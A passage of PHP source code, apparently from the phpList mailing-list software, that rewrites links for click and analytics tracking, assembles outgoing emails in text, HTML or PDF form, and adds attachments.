  554. #    preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
    555. 

  555.     ## sort the results in reverse order, so that they are replaced correctly
    556. 

  556.     rsort($links[1]);
    557. 

  557.     $newlinks = array();
    558. 

  558. 

  559.     for($i=0; $i<count($links[1]); $i++){
    560. 

  560.       $link = cleanUrl($links[1][$i]);
    561. 

  561.       if (preg_match('/\.$/',$link)) {
    562. 

  562.         $link = substr($link,0,-1);
    563. 

  563.       }
    564. 

  564.   
    565. 

  565.       $linkid = 0;
    566. 

  566.       if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') === false) ) {# && !strpos($link,$clicktrack_root)) {
    567. 

  567.         $url = cleanUrl($link,array('PHPSESSID','uid'));
    568. 

  568. 

  569.         $linkid = clickTrackLinkId($messageid,$userdata['id'],$url,$link);
    570. 

  570. 

  571.         $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
    572. 

  572.         $masked = base64_encode($masked);
    573. 

  573.         ## 15254- the encoding adds one or two extraneous = signs, take them off
    574. 

  574.         $masked = preg_replace('/=$/','',$masked);
    575. 

  575.         $masked = preg_replace('/=$/','',$masked);
    576. 

  576.         $masked = urlencode($masked);
    577. 

  577.         if (!CLICKTRACK_LINKMAP) {
    578. 

  578.           $newlinks[$linkid] = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked);
    579. 

  579.         } else {
    580. 

  580.           $newlinks[$linkid] = sprintf('%s://%s%s',$GLOBALS["public_scheme"],$website.CLICKTRACK_LINKMAP,$masked);
    581. 

  581.         }
    582. 

  582. 

  583. #        print $links[0][$i] .' -> '.$newlink.'<br/>';
    584. 

  584.         $textmessage = str_replace($links[1][$i], '[%%%'.$linkid.'%%%]', $textmessage);
    585. 

  585.       }
    586. 

  586.     }
    587. 

  587.     foreach ($newlinks as $linkid => $newlink) {
    588. 

  588.       $textmessage = str_replace('[%%%'.$linkid.'%%%]',$newlink, $textmessage);
    589. 

  589.     }
    590. 

  590.   }
    591. 

  591.   if (VERBOSE && $getspeedstats) {
    592. 

  592.     output('click track end');
    593. 

  593.   }
    594. 

  594. 

  595.   ## if we're not tracking clicks, we should add Google tracking here
    596. 

  596.   ## otherwise, we can add it when redirecting on the click
    597. 

  597.   if (!CLICKTRACK && !empty($cached[$messageid]['google_track'])) { 
    598. 

  598.     preg_match_all('/<a (.*)href=["\'](.*)["\']([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
    599. 

  599.     for($i=0; $i<count($links[2]); $i++){
    600. 

  600.       $link = cleanUrl($links[2][$i]);
    601. 

  601.       $link = str_replace('"','',$link);  
    602. 

  602.       ## http://www.google.com/support/analytics/bin/answer.py?hl=en&answer=55578
    603. 

  603. 

  604.       $trackingcode = 'utm_source=emailcampaign'.$messageid.'&utm_medium=phpList&utm_content=HTMLemail&utm_campaign='.urlencode($cached[$messageid]["subject"]);
    605. 

  605.       ## take off existing tracking code, if found
    606. 

  606.       if (strpos($link,'utm_medium') !== false) {
    607. 

  607.         $link = preg_replace('/utm_(\w+)\=[^&]+&/U','',$link);
    608. 

  608.       }
    609. 

  609.         
    610. 

  610.       if (strpos($link,'?')) {
    611. 

  611.         $newurl = $link.'&'.$trackingcode;
    612. 

  612.       } else {
    613. 

  613.         $newurl = $link.'?'.$trackingcode;
    614. 

  614.       }
    615. 

  615.    #   print $link. ' '.$newurl.' <br/>';
    616. 

  616.       $newlink = sprintf('<a %shref="%s" %s>%s</a>',$links[1][$i],$newurl,$links[3][$i],$links[4][$i]);
    617. 

  617.       $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
    618. 

  618.     }
    619. 

  619.     
    620. 

  620.     preg_match_all('#(https?://[^\s\>\}\,]+)#mis',$textmessage,$links);
    621. 

  621.     rsort($links[1]);
    622. 

  622.     $newlinks = array();
    623. 

  623. 

  624.     for($i=0; $i<count($links[1]); $i++){
    625. 

  625.       $link = cleanUrl($links[1][$i]);
    626. 

  626.       if (preg_match('/\.$/',$link)) {
    627. 

  627.         $link = substr($link,0,-1);
    628. 

  628.       }
    629. 

  629.   
    630. 

  630.       if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') !== 0)  ) {# && !strpos($link,$clicktrack_root)) {
    631. 

  631.         $url = cleanUrl($link,array('PHPSESSID','uid'));
    632. 

  632.         $trackingcode = 'utm_source=emailcampaign'.$messageid.'&utm_medium=phpList&utm_content=textemail&utm_campaign='.urlencode($cached[$messageid]["subject"]);
    633. 

  633.         ## take off existing tracking code, if found
    634. 

  634.         if (strpos($link,'utm_medium') !== false) {
    635. 

  635.           $link = preg_replace('/utm_(\w+)\=[^&]+/','',$link);
    636. 

  636.         }
    637. 

  637.         if (strpos($link,'?')) {
    638. 

  638.           $newurl = $link.'&'.$trackingcode;
    639. 

  639.         } else {
    640. 

  640.           $newurl = $link.'?'.$trackingcode;
    641. 

  641.         }
    642. 

  642. 

  643.         $newlinks[$i] = $newurl;
    644. 

  644.         $textmessage = str_replace($links[1][$i], '[%%%'.$i.'%%%]', $textmessage);
    645. 

  645.       }
    646. 

  646.     }
    647. 

  647.     foreach ($newlinks as $linkid => $newlink) {
    648. 

  648.       $textmessage = str_replace('[%%%'.$linkid.'%%%]',$newlink, $textmessage);
    649. 

  649.     }
    650. 

  650.     unset($newlinks);
    651. 

  651.   }
    652. 

  652. 

  653. #  print htmlspecialchars($htmlmessage);exit;
    654. 

  654. 

  655.   #0011996: forward to friend - personal message
    656. 

  656.   if (FORWARD_PERSONAL_NOTE_SIZE && $hash == 'forwarded' && !empty($forwardedby['personalNote']) ) {
    657. 

  657.     $htmlmessage =  nl2br($forwardedby['personalNote']) . '<br/>' .  $htmlmessage;
    658. 

  658.     $textmessage = $forwardedby['personalNote'] . "\n" . $textmessage;
    659. 

  659.   }
    660. 

  660.   if (VERBOSE && $getspeedstats) {
    661. 

  661.     output('cleanup start');
    662. 

  662.   }
    663. 

  663.   
    664. 

  664.   ## allow fallback to default value for the ones that do not have a value
    665. 

  665.   ## delimiter is %% to avoid interfering with markup
    666. 

  666.   
    667. 

  667.   preg_match_all('/\[.*\%\%([^\]]+)\]/Ui',$htmlmessage,$matches);
    668. 

  668.   for ($i = 0; $i<count($matches[0]);$i++) {
    669. 

  669.     $htmlmessage = str_ireplace($matches[0][$i],$matches[1][$i],$htmlmessage);
    670. 

  670.   }
    671. 

  671.   preg_match_all('/\[.*\%\%([^\]]+)\]/Ui',$textmessage,$matches);
    672. 

  672.   for ($i = 0; $i<count($matches[0]);$i++) {
    673. 

  673.     $textmessage = str_ireplace($matches[0][$i],$matches[1][$i],$textmessage);
    674. 

  674.   }
    675. 

  675. 

  676.   ## remove any remaining placeholders
    677. 

  677.   ## 16671 - do not do this, as it'll remove conditional CSS and other stuff
    678. 

  678.   ## that we'd like to keep
    679. 

  679.   //$htmlmessage = preg_replace("/\[[A-Z\. ]+\]/i","",$htmlmessage);
    680. 

  680.   //$textmessage = preg_replace("/\[[A-Z\. ]+\]/i","",$textmessage);
    681. 

  681. #  print htmlspecialchars($htmlmessage);exit;
    682. 

  682. 

  683.   # check that the HTML message as proper <head> </head> and <body> </body> tags
    684. 

  684.   # some readers fail when it doesn't
    685. 

  685.   if (!preg_match("#<body.*</body>#ims",$htmlmessage)) {
    686. 

  686.     $htmlmessage = '<body>'.$htmlmessage.'</body>';
    687. 

  687.   }
    688. 

  688.   if (!preg_match("#<head.*</head>#ims",$htmlmessage)) {
    689. 

  689.     if (!$adddefaultstyle) {
    690. 

  690.      $defaultstyle = "";
    691. 

  691.     }
    692. 

  692.     $htmlmessage = '<head>
    693. 

  693.         <meta content="text/html;charset='.$cached[$messageid]["html_charset"].'" http-equiv="Content-Type">
    694. 

  694.         <title></title>'.$defaultstyle.'</head>'.$htmlmessage;
    695. 

  695.   }
    696. 

  696.   if (!preg_match("#<html.*</html>#ims",$htmlmessage)) {
    697. 

  697.     $htmlmessage = '<html>'.$htmlmessage.'</html>';
    698. 

  698.   }
    699. 

  699.   
    700. 

  700.   ## remove trailing code after </html>
    701. 

  701.   $htmlmessage = preg_replace('#</html>.*#msi','</html>',$htmlmessage);
    702. 

  702.   
    703. 

  703.   ## the editor sometimes places <p> and </p> around the URL
    704. 

  704.   $htmlmessage = str_ireplace('<p><!DOCTYPE','<!DOCTYPE',$htmlmessage);
    705. 

  705.   $htmlmessage = str_ireplace('</html></p>','</html>',$htmlmessage);
    706. 

  706. 

  707.   if (VERBOSE && $getspeedstats) {
    708. 

  708.     output('cleanup end');
    709. 

  709.   }
    710. 

  710. #  $htmlmessage = compressContent($htmlmessage);
    711. 

  711. 

  712.  # print htmlspecialchars($htmlmessage);exit;
    713. 

  713. 

  714.   if ($getspeedstats) output('build Start '.$GLOBALS['processqueue_timer']->interval(1));
    715. 

  715. 

  716.   # build the email
    717. 

  717.   $mail = new PHPlistMailer($messageid,$destinationemail);
    718. 

  718.   if ($forwardedby) {
    719. 

  719.     $mail->add_timestamp();
    720. 

  720.   }
    721. 

  721.   $mail->addCustomHeader("List-Help: <".$text["preferences"].">");
    722. 

  722.   $mail->addCustomHeader("List-Unsubscribe: <".$text["jumpoffurl"].">");
    723. 

  723.   $mail->addCustomHeader("List-Subscribe: <".getConfig("subscribeurl").">");
    724. 

  724.   $mail->addCustomHeader("List-Owner: <mailto:".getConfig("admin_address").">");
    725. 

  725. 

  726.   list($dummy,$domaincheck) = explode('@',$destinationemail);
    727. 

  727.   $text_domains = explode("\n",trim(getConfig("alwayssendtextto")));
    728. 

  728.   if (in_array($domaincheck,$text_domains)) {
    729. 

  729.     $htmlpref = 0;
    730. 

  730.     if (VERBOSE)
    731. 

  731.       output($GLOBALS['I18N']->get('sendingtextonlyto')." $domaincheck");
    732. 

  732.   }
    733. 

  733.   
    734. 

  734.   foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    735. 

  735. #    $textmessage = $plugin->parseOutgoingTextMessage($messageid,$textmessage,$destinationemail, $userdata);
    736. 

  736. #    $htmlmessage = $plugin->parseOutgoingHTMLMessage($messageid,$htmlmessage,$destinationemail, $userdata);
    737. 

  737.     $plugin_attachments = $plugin->getMessageAttachment($messageid,$mail->Body);
    738. 

  738.     if (!empty($plugin_attachments[0]['content'])) {
    739. 

  739.       foreach ($plugins_attachments as $plugin_attachment) {
    740. 

  740.         $mail->add_attachment($plugin_attachment['content'],
    741. 

  741.             basename($plugin_attachment["filename"]),
    742. 

  742.             $plugin_attachment["mimetype"]);
    743. 

  743.       }
    744. 

  744.     }
    745. 

  745.   }
    746. 

  746. 

  747.   # so what do we actually send?
    748. 

  748.   switch($cached[$messageid]["sendformat"]) {
    749. 

  749.     case "PDF":
    750. 

  750.       # send a PDF file to users who want html and text to everyone else
    751. 

  751.       foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    752. 

  752.         $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
    753. 

  753.       }
    754. 

  754.       if ($htmlpref) {
    755. 

  755.         if (!$isTestMail) 
    756. 

  756.           Sql_Query("update {$GLOBALS["tables"]["message"]} set aspdf = aspdf + 1 where id = $messageid");
    757. 

  757.         $pdffile = createPdf($textmessage);
    758. 

  758.         if (is_file($pdffile) && filesize($pdffile)) {
    759. 

  759.           $fp = fopen($pdffile,"r");
    760. 

  760.           if ($fp) {
    761. 

  761.             $contents = fread($fp,filesize($pdffile));
    762. 

  762.             fclose($fp);
    763. 

  763.            unlink($pdffile);
    764. 

  764.            $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    765. 

  765.               <html>
    766. 

  766.               <head>
    767. 

  767.                 <title></title>
    768. 

  768.               </head>
    769. 

  769.               <body>
    770. 

  770.               <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
    771. 

  771.               </body>
    772. 

  772.               </html>';
    773. 

  773. #            $mail->add_html($html,$textmessage);
    774. 

  774. #            $mail->add_text($textmessage);
    775. 

  775.             $mail->add_attachment($contents,
    776. 

  776.               "message.pdf",
    777. 

  777.               "application/pdf");
    778. 

  778.           }
    779. 

  779.         }
    780. 

  780.         if (!addAttachments($messageid,$mail,"HTML")) {
    781. 

  781.           return 0;
    782. 

  782.         }
    783. 

  783.       } else {
    784. 

  784.         if (!$isTestMail) 
    785. 

  785.           Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
    786. 

  786.         $mail->add_text($textmessage);
    787. 

  787.         if (!addAttachments($messageid,$mail,"text")) {
    788. 

  788.           return 0;
    789. 

  789.         }
    790. 

  790.       }
    791. 

  791.       break;
    792. 

  792.     case "text and PDF":
    793. 

  793.       foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    794. 

  794.         $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
    795. 

  795.       }
    796. 

  796.       # send a PDF file to users who want html and text to everyone else
    797. 

  797.       if ($htmlpref) {
    798. 

  798.         if (!$isTestMail) 
    799. 

  799.           Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandpdf = astextandpdf + 1 where id = $messageid");
    800. 

  800.         $pdffile = createPdf($textmessage);
    801. 

  801.         if (is_file($pdffile) && filesize($pdffile)) {
    802. 

  802.           $fp = fopen($pdffile,"r");
    803. 

  803.           if ($fp) {
    804. 

  804.             $contents = fread($fp,filesize($pdffile));
    805. 

  805.             fclose($fp);
    806. 

  806.             unlink($pdffile);
    807. 

  807.            $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    808. 

  808.               <html>
    809. 

  809.               <head>
    810. 

  810.                 <title></title>
    811. 

  811.               </head>
    812. 

  812.               <body>
    813. 

  813.               <embed src="message.pdf" width="450" height="450" href="message.pdf"></embed>
    814. 

  814.               </body>
    815. 

  815.               </html>';
    816. 

  816.  #           $mail->add_html($html,$textmessage);
    817. 

  817.              $mail->add_text($textmessage);
    818. 

  818.             $mail->add_attachment($contents,
    819. 

  819.               "message.pdf",
    820. 

  820.               "application/pdf");
    821. 

  821.           }
    822. 

  822.         }
    823. 

  823.         if (!addAttachments($messageid,$mail,"HTML")) {
    824. 

  824.           return 0;
    825. 

  825.         }
    826. 

  826.       } else {
    827. 

  827.         if (!$isTestMail) 
    828. 

  828.           Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
    829. 

  829.         $mail->add_text($textmessage);
    830. 

  830.         if (!addAttachments($messageid,$mail,"text")) {
    831. 

  831.           return 0;
    832. 

  832.         }
    833. 

  833.       }
    834. 

  834.       break;
    835. 

  835.     case "text":
    836. 

  836.       # send as text
    837. 

  837.       foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    838. 

  838.         $plugin->processSuccesFailure ($messageid, 'astext', $userdata);
    839. 

  839.       }
    840. 

  840.       if (!$isTestMail) 
    841. 

  841.         Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
    842. 

  842.       $mail->add_text($textmessage);
    843. 

  843.       if (!addAttachments($messageid,$mail,"text")) {
    844. 

  844.         return 0;
    845. 

  845.       }
    846. 

  846.       break;
    847. 

  847.     case "both":
    848. 

  848.     case "text and HTML":
    849. 

  849.     case "HTML":
    850. 

  850.     default:
    851. 

  851.       $handled_by_plugin = 0;
    852. 

  852.       if (!empty($GLOBALS['pluginsendformats'][$cached[$messageid]["sendformat"]])) {
    853. 

  853.         # possibly handled by plugin
    854. 

  854.         $pl = $GLOBALS['plugins'][$GLOBALS['pluginsendformats'][$cached[$messageid]["sendformat"]]];
    855. 

  855.         if (is_object($pl) && method_exists($pl,'parseFinalMessage')) {
    856. 

  856.           $handled_by_plugin = $pl->parseFinalMessage($cached[$messageid]["sendformat"],$htmlmessage,$textmessage,$mail,$messageid);
    857. 

  857.         }
    858. 

  858.       }
    859. 

  859. 

  860.       if (!$handled_by_plugin) {
    861. 

  861.         # send one big file to users who want html and text to everyone else
    862. 

  862.         if ($htmlpref) {
    863. 

  863.           if (!$isTestMail) 
    864. 

  864.             Sql_Query("update {$GLOBALS["tables"]["message"]} set astextandhtml = astextandhtml + 1 where id = $messageid");
    865. 

  865.           foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    866. 

  866.             $plugin->processSuccesFailure($messageid, 'ashtml', $userdata);
    867. 

  867.           }
    868. 

  868.         #  dbg("Adding HTML ".$cached[$messageid]["templateid"]);
    869. 

  869.           if (WORDWRAP_HTML) {
    870. 

  870.             ## wrap it: http://mantis.phplist.com/view.php?id=15528
    871. 

  871.             ## some reports say, this fixes things and others say it breaks things https://mantis.phplist.com/view.php?id=15617
    872. 

  872.             ## so for now, only switch on if requested.
    873. 

  873.             ## it probably has to do with the MTA used
    874. 

  874.             $htmlmessage = wordwrap($htmlmessage, WORDWRAP_HTML, "\r\n");
    875. 

  875.           }
    876. 

  876.           $mail->add_html($htmlmessage,$textmessage,$cached[$messageid]["templateid"]);
    877. 

  877.           if (!addAttachments($messageid,$mail,"HTML")) {
    878. 

  878.             return 0;
    879. 

  879.           }
    880. 

  880.         } else {
    881. 

  881.           if (!$isTestMail) 
    882. 

  882.             Sql_Query("update {$GLOBALS["tables"]["message"]} set astext = astext + 1 where id = $messageid");
    883. 

  883.           foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    884. 

  884.             $plugin->processSuccesFailure($messageid, 'astext', $userdata);
    885. 

  885.           }
    886. 

  886.           $mail->add_text($textmessage);
    887. 

  887. #          $mail->setText($textmessage);
    888. 

  888. #          $mail->Encoding = TEXTEMAIL_ENCODING;
    889. 

  889.           if (!addAttachments($messageid,$mail,"text")) {
    890. 

  890.             return 0;
    891. 

  891.           }
    892. 

  892.         }
    893. 

  893.       } 
    894. 

  894.       break;
    895. 

  895.   }
    896. 

  896. #  print htmlspecialchars($htmlmessage);exit;
    897. 

  897. 

  898.   if (!TEST) {
    899. 

  899.     if ($hash != 'forwarded' || !sizeof($forwardedby)) {
    900. 

  900.       $fromname = $cached[$messageid]["fromname"];
    901. 

  901.       $fromemail = $cached[$messageid]["fromemail"];
    902. 

  902.       $subject = $cached[$messageid]["subject"];
    903. 

  903.     } else {
    904. 

  904.       $fromname = '';
    905. 

  905.       $fromemail = $forwardedby['email'];
    906. 

  906.       $subject = $GLOBALS['strFwd'].': '.$cached[$messageid]["subject"];
    907. 

  907.     }
    908. 

  908.     
    909. 

  909.     if (!empty($cached[$messageid]["replytoemail"])) {
    910. 

  910.       $mail->AddReplyTo($cached[$messageid]["replytoemail"],$cached[$messageid]["replytoname"]);
    911. 

  911.     }
    912. 

  912.     if ($getspeedstats) output('build End '.$GLOBALS['processqueue_timer']->interval(1));
    913. 

  913.     if ($getspeedstats) output('send Start '.$GLOBALS['processqueue_timer']->interval(1));
    914. 

  914.     
    915. 

  915.     if (!empty($GLOBALS['developer_email'])) {
    916. 

  916.       $destinationemail = $GLOBALS['developer_email'];
    917. 

  917.     }
    918. 

  918.     
    919. 

  919.     if (!$mail->compatSend("", $destinationemail, $fromname, $fromemail, $subject)) {
    920. 

  920. #    if (!$mail->send(array($destinationemail),'spool')) {
    921. 

  921.       foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    922. 

  922.         $plugin->processSendFailed($messageid, $userdata, $isTestMail);
    923. 

  923.       }
    924. 

  924.       output(sprintf(s('Error sending message %d (%d/%d) to %s (%s) '),
    925. 

  925.         $messageid,$counters['batch_count'],$counters['batch_total'],$email,$destinationemail),0);
    926. 

  926.       return 0;
    927. 

  927.     } else {
    928. 

  928.       ## only save the estimated size of the message when sending a test message
    929. 

  929.       if ($getspeedstats) output('send End '.$GLOBALS['processqueue_timer']->interval(1));
    930. 

  930.       if (!isset($GLOBALS['send_process_id'])) {
    931. 

  931.         if (!empty($mail->mailsize)) {
    932. 

  932.           $name = $htmlpref ? 'htmlsize' : 'textsize';
    933. 

  933.           Sql_Replace($GLOBALS['tables']['messagedata'], array('id' => $messageid, 'name' => $name, 'data' => $mail->mailsize), array('name', 'id'));
    934. 

  934.         }
    935. 

  935.       }
    936. 

  936.       $sqlCount = $GLOBALS["pagestats"]["number_of_queries"] - $sqlCountStart;
    937. 

  937.       if ($getspeedstats) output('It took '.$sqlCount.'  queries to send this message');
    938. 

  938.       foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
    939. 

  939.         $plugin->processSendSuccess($messageid, $userdata, $isTestMail);
    940. 

  940.       }
    941. 

  941.    #   logEvent("Sent message $messageid to $email ($destinationemail)");
    942. 

  942.       return 1;
    943. 

  943.     }
    944. 

  944.   }
    945. 

  945.   return 0;
    946. 

  946. }
    947. 

  947. 

  948. function addAttachments($msgid,&$mail,$type) {
    949. 

  949.   global $attachment_repository,$website;
    950. 

  950.   $hasError = false;
    951. 

  951.   if (ALLOW_ATTACHMENTS) {
    952. 

  952.     $req = Sql_Query("select * from {$GLOBALS["tables"]["message_attachment"]},{$GLOBALS["tables"]["attachment"]}
    953. 

  953.       where {$GLOBALS["tables"]["message_attachment"]}.attachmentid = {$GLOBALS["tables"]["attachment"]}.id and
    954. 

  954.       {$GLOBALS["tables"]["message_attachment"]}.messageid = $msgid");
    955. 

  955.     if (!Sql_Affected_Rows())
    956. 

  956.       return true;
    957. 

  957.     if ($type == "text") {
    958. 

  958.       $mail->append_text($GLOBALS["strAttachmentIntro"]."\n");
    959. 

  959.     }
    960. 

  960. 

  961.     while ($att = Sql_Fetch_array($req)) {
    962. 

  962.       switch ($type) {
    963. 

  963.         case "HTML":
    964. 

  964.           if (is_file($GLOBALS["attachment_repository"]."/".$att["filename"]) && filesize($GLOBALS["attachment_repository"]."/".$att["filename"])) {
    965. 

  965.             $fp = fopen($GLOBALS["attachment_repository"]."/".$att["filename"],"r");
    966. 

  966.             if ($fp) {
    967. 

  967.               $contents = fread($fp,filesize($GLOBALS["attachment_repository"]."/".$att["filename"]));
    968. 

  968.               fclose($fp);
    969. 

  969.               $mail->add_attachment($contents,
    970. 

  970.                 basename($att["remotefile"]),
    971. 

  971.                 $att["mimetype"]);
    972. 

  972.             }
    973. 

  973.           } elseif (is_file($att["remotefile"]) && filesize($att["remotefile"])) {
    974. 

  974.             # handle local filesystem attachments
    975. 

  975.             $fp = fopen($att["remotefile"],"r");
    976. 

  976.             if ($fp) {
    977. 

  977.               $contents = fread($fp,filesize($att["remotefile"]));
    978. 

  978.               fclose($fp);
    979. 

  979.               $mail->add_attachment($contents,
    980. 

  980.                 basename($att["remotefile"]),
    981. 

  981.                 $att["mimetype"]);
    982. 

  982.               list($name,$ext) = explode(".",basename($att["remotefile"]));
    983. 

  983.               # create a temporary file to make sure to use a unique file name to store with
    984. 

  984.               $newfile = tempnam($GLOBALS["attachment_repository"],$name);
    985. 

  985.               $newfile .= ".".$ext;
    986. 

  986.               $newfile = basename($newfile);
    987. 

  987.               $fd = fopen( $GLOBALS["attachment_repository"]."/".$newfile, "w" );
    988. 

  988.               fwrite( $fd, $contents );
    989. 

  989.               fclose( $fd );
    990. 

  990.               # check that it was successful
    991. 

  991.               if (filesize($GLOBALS["attachment_repository"]."/".$newfile)) {
    992. 

  992.                 Sql_Query(sprintf('update %s set filename = "%s" where id = %d',
    993. 

  993.                   $GLOBALS["tables"]["attachment"],$newfile,$att["attachmentid"]));
    994. 

  994.               } else {
    995. 

  995.                 # now this one could be sent many times, so send only once per run
    996. 

  996.                 if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
    997. 

  997.                   logEvent("Unable to make a copy of attachment ".$att["remotefile"]." in repository");
    998. 

  998.                   $msg = s("Error, when trying to send campaign %d the attachment (%s) could not be copied to the repository. Check for permissions.",$msgid,$att["remotefile"]);
    999. 

  999.                   sendMail(getConfig("report_address"),s("phpList system error"),$msg,"");
    1000. 

  1000.                   $GLOBALS[$att["remotefile"]."_warned"] = time();
    1001. 

  1001.                 }
    1002. 

  1002.               }
    1003. 

  1003.             } else {
    1004. 

  1004.               logEvent(s("failed to open attachment (%s) to add to campaign %d".$att["remotefile"],$msgid));
    1005. 

  1005.               $hasError = true;
    1006. 

  1006.             }
    1007. 

  1007.           } else {
    1008. 

  1008.             ## as above, avoid sending it many times
    1009. 

  1009.             if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
    1010. 

  1010.               logEvent(s("Attachment %s does not exist",$att["remotefile"]));
    1011. 

  1011.               $msg = s("Error, when trying to send campaign %d the attachment (%s) could not be found in the repository",$msgid,$att["remotefile"]);
    1012. 

  1012.               sendMail(getConfig("report_address"),s("phpList system error"),$msg,"");
    1013. 

  1013.               $GLOBALS[$att["remotefile"]."_warned"] = time();
    1014. 

  1014.             }
    1015. 

  1015.             $hasError = true;
    1016. 

  1016.           }
    1017. 

  1017.            break;
    1018. 

  1018. 

  1019.          case "text":
    1020. 

  1020.           $viewurl = $GLOBALS["public_scheme"]."://".$website.$GLOBALS["pageroot"].'/dl.php?id='.$att["id"];
    1021. 

  1021.           $mail->append_text($att["description"]."\n".$GLOBALS["strLocation"].": ".$viewurl."\n");
    1022. 

  1022.           break;
    1023. 

  1023.       }
    1024. 

  1024.     }
    1025. 

  1025.   }
    1026. 

  1026.   return !$hasError;
    1027. 

  1027. }
    1028. 

  1028. 

  1029. function createPDF($text) {
    1030. 

  1030.   if (!isset($GLOBALS["pdf_font"])) {
    1031. 

  1031.     $GLOBALS["pdf_font"] = 'Arial';
    1032. 

  1032.     $GLOBALS["pdf_fontsize"] = 12;
    1033. 

  1033.    }
    1034. 

  1034.   $pdf=new FPDF();
    1035. 

  1035.   $pdf->SetCreator("PHPlist version ".VERSION);
    1036. 

  1036.   $pdf->Open();
    1037. 

  1037.   $pdf->AliasNbPages();
    1038. 

  1038.   $pdf->AddPage();
    1039. 

  1039.   $pdf->SetFont($GLOBALS["pdf_font"],$GLOBALS["pdf_fontstyle"],$GLOBALS["pdf_fontsize"]);
    1040. 

  1040.   $pdf->Write((int)$GLOBALS["pdf_fontsize"]/2,$text);
    1041. 

  1041.   $fname = tempnam($GLOBALS["tmpdir"],"pdf");
    1042. 

  1042.   $pdf->Output($fname,false);
    1043. 

  1043.   return $fname;
    1044. 

  1044. }
    1045. 

  1045. 

  1046. //function replaceChars() Moved to commonlib
    1047. 

  1047. 

  1048. function mailto2href($text) {
    1049. 

  1049.   # converts <mailto:blabla> link to <a href="blabla"> links
    1050. 

  1050.   #~Bas 0008857
    1051. 

  1051.   $text = preg_replace("/(.*@.*\..*) *<mailto:(\\1[^>]*)>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\2[ENDLINK]\n",$text);
    1052. 

  1052.   $text = preg_replace("/<mailto:(.*@.*\..*)(\?.*)?>/Umis","[URLTEXT]\\1[ENDURLTEXT][LINK]\\1\\2[ENDLINK]\n",$text);
    1053. 

  1053.   $text = preg_replace("/\[URLTEXT\](.*)\[ENDURLTEXT\]\[LINK\](.*)\[ENDLINK\]/Umis",'<a href="mailto:\\2">\\1</a>',$text);
    1054. 

  1054.   return $text;
    1055. 

  1055. };
    1056. 

  1056. 

  1057. function linkencode($p_url){
    1058. 

  1058.   # URL Encode only the 'variable' parts of links, not the slashes in the path or the @ in an email address
    1059. 

  1059.   # from http://ar.php.net/manual/nl/function.rawurlencode.php
    1060. 

  1060.   # improved to handle mailto links properly
    1061. 

  1061.   #~Bas 0008857
    1062. 

  1062. 

  1063.   $uparts = @parse_url($p_url);
    1064. 

  1064. 

  1065.   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
    1066. 

  1066.   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
    1067. 

  1067.   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
    1068. 

  1068.   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
    1069. 

  1069.   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
    1070. 

  1070.   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
    1071. 

  1071.   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
    1072. 

  1072.   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";
    1073. 

  1073.   
    1074. 

  1074.   if(!empty($scheme))
    1075. 

  1075.    if($scheme == "mailto") {
    1076. 

  1076.      $scheme .= ':';
    1077. 

  1077.    } else {
    1078. 

  1078.      $scheme .= '://';
    1079. 

  1079.    };
    1080. 

  1080.    
    1081. 

  1081.   if(!empty($pass) && !empty($user)) {
    1082. 

  1082.    $user = rawurlencode($user).':';
    1083. 

  1083.    $pass = rawurlencode($pass).'@';
    1084. 

  1084.    } elseif(!empty($user))
    1085. 

  1085.      $user .= '@';
    1086. 

  1086.   
    1087. 

  1087.   if(!empty($port) && !empty($host))
    1088. 

  1088.      $host = ''.$host.':';
    1089. 

  1089.   elseif(!empty($host))
    1090. 

  1090.      $host=$host;
    1091. 

  1091.   
    1092. 

  1092.   if(!empty($path)){
    1093. 

  1093.     $arr = preg_split("/([\/;=@])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
    1094. 

  1094.     $path = "";
    1095. 

  1095.     foreach($arr as $var){
    1096. 

  1096.       switch($var){
    1097. 

  1097.         case "/":
    1098. 

  1098.         case ";":
    1099. 

  1099.         case "=":
    1100. 

  1100.         case "@":
    1101. 

  1101.         $path .= $var;
    1102. 

  1102.           break;
    1103. 

  1103.         default:
    1104. 

  1104.           $path .= rawurlencode($var);
    1105. 

  1105.       }
    1106. 

  1106.     }
    1107. 

  1107.     // legacy patch for servers that need a literal /~username
    1108. 

  1108.     $path = str_replace("/%7E","/~",$path);
    1109. 

  1109.   }
    1110. 

  1110.   
    1111. 

  1111.   if(!empty($query)){
    1112. 

